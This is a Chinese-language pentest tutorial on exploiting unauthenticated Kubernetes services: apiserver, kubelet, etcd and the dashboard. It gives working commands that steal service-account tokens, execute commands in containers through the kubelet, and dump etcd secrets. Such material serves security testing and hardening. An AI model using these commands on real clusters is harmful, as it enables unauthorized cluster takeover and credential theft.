除了容器逃逸问题,未授权问题是目前k8s存在最多的问题,以下是常见的k8s未授权:
kube-apiserver:
6443,8080
未授权访问获取kube-system的token,通过kubectl使用kube-system的token获取pod列表。之后可进一步创建pod或控制已有pod进行命令执行等操作。
kubelet:
10250,10255
kubeletctl批量获取pod等信息,尝试获取pod内/var/run/secrets/kubernetes.io/serviceaccoun/的token
etcd:
2379
导出全量etcd配置,获取k8s认证证书等关键信息,进而通过kubectl创建恶意pod或控制已有pod,后续可尝试逃逸至宿主机
dashboard:
30000以上
docker:
2375
Docker daemon默认监听2375端口且未鉴权,我们可以利用API来完成Docker客户端能做的所有事情。
1. kube-apiserver 未授权访问
apiserver有两个端口,8080和6443。现在的云服务商提供的容器默认已不存在8080端口,主要问题还是在6443端口上。
正常访问6443端口,会出现以下情况,我们默认访问的角色就是系统给的anonymous。
当把system:anonymous
用户绑定到cluster-admin
的集群角色时,再来访问。即可看到能访问的内容:
访问https://192.168.41.22:6443/api/v1/namespaces/kube-system/secrets/
获取kube-system
命名空间的token
信息:
系统自带的服务账号没啥操作权限,需要寻找运维人员自建的。总之,有admin就找admin,没有的话找个非系统自带账号或者尝试default账号。
拿到了token后,可以在攻击机上安装kubectl工具,然后执行以下命令创建一个test_config,token处填入获取的 token:
touch test_config
kubectl --kubeconfig=./test_config config set-credentials hacker --token=TOKEN
kubectl --kubeconfig=./test_config config set-cluster hacked_cluster --server=https://192.168.41.22:6443/ --insecure-skip-tls-verify
kubectl --kubeconfig=./test_config config set-context test_context --cluster=hacked_cluster --user=hacker
kubectl --kubeconfig=./test_config config use-context test_context
生成的文件内容为:
apiVersion: v1
clusters:
- cluster:
insecure-skip-tls-verify: true
server: https://192.168.41.22:6443/
name: hacked_cluster
contexts:
- context:
cluster: hacked_cluster
user: hacker
name: test_context
current-context: test_context
kind: Config
preferences: {}
users:
- name: hacker
user:
token: ZXlKaGJHY2lPaUpTVXpJMU5TOKEN
通过kubectl加载刚才的config文件执行pod里面的命令:
kubectl --kubeconfig=./test_config get nodes -A
2. kubelet未授权访问
每一个Worker节点都有一个kubelet服务,kubelet监听了10250
(kubelet API),10248
,10255
(readonly API)等端口。
正常情况下访问是没有权限的:
https://192.168.41.23:10250/pods
authentication.anonymous.enabled
配置不当设置为 true 时,允许匿名访问 10250 端口:
访问存在如下回显,就是存在未授权访问:
利用:
https://github.com/cyberark/kubeletctl/releases
下载kubeletctl工具,执行命令:
./kubeletctl pods -s 192.168.41.23 --port 10250
可以看到pod,namespace,containers。
执行pod里容器的命令:
curl -k https://nodeip:10250/run/$namespace/$POD/$CONTAINERS -d "cmd=ls" --insecure
curl -k https://192.168.41.23:10250/run/default/nginx-f89759699-tct4p/nginx -d "cmd=ls" --insecure
如果是10255端口的未授权而非10250,它是只读端口,无法直接利用在容器中执行命令,但是可以获取环境变量ENV、主进程CMDLINE等信息,里面可能包含密码和秘钥等敏感信息。
3. etcd未授权访问
etcd默认监听了2379
等端口,如果2379端口暴露到公网,可能造成敏感信息泄露。etcd若存在未授权,攻击者导出全量etcd配置,获取k8s认证证书等关键配置,进而通过kubectl创建恶意pod或控制已有pod,后续可尝试逃逸至宿主机。
访问https://IP:2379/v2/keys,有内容,类似{“action”:“get”,“node”:{“dir”:true}} 这样的,就确定存在未授权访问。
https://github.com/etcd-io/etcd/releases/ 下载 得到etcdctl
通过如下命令可以遍历所有的key:
export ETCDCTL_API=3
./etcdctl --endpoints=http://IP:2379/ get / --prefix --keys-only
# 服务器启用了https
./etcdctl --insecure-transport=false --insecure-skip-tls-verify --endpoints=https://IP:2379/ get / --prefix --keys-only
下面的命令,通过v3 API来dump数据库到 output.data:
ETCDCTL_API=3
./etcdctl --insecure-transport=false --insecure-skip-tls-verify --endpoints=https://IP:2379/ get / --prefix --keys-only | sort | uniq | xargs -I{} sh -c 'ETCDCTL_API=3 ./etcdctl --insecure-transport=false --insecure-skip-tls-verify --endpoints=https://IP:2379 get {} >> output.data && echo "" >> output.data'
# 比如获取具体的token
etcdctl.exe --endpoints="10.10.10.10:2379" get /register/secrets/kube-system/clusterrole-xxx-xxx-token-o4dk9
拿到token后跟之前一样创建test_config
控制集群,也可以直接使用token:
./kubectl --insecure-skip-tls-verify -s https://10.10.10.10:6443 get pods --token="eyJhbGxxxxx"
4. dashboard未授权访问(CVE-2018-18264)
k8s dashboard的enable-skip-login
开启时,登录页面可选择跳过登录:
登录后,可通过dashboard获取pod、node和job等状态。
在安装dashboard的时候,会默认建立dashboard-admin账号并且分配cluster-admin的角色:
因此在kube-system中找到关键字admin的账号token就能登录dashboard后台:
若业务配置错误或为了方便给 Kubernetes dashboard 绑定 cluster-admin等角色,攻击者可直接在界面上创建特权 pod 进行容器逃逸。
参考链接
https://mp.weixin.qq.com/s/T2QGLlKwjaUByDtGFL94PQ
https://blog.csdn.net/w1590191166/article/details/122028001?spm=1001.2014.3001.5501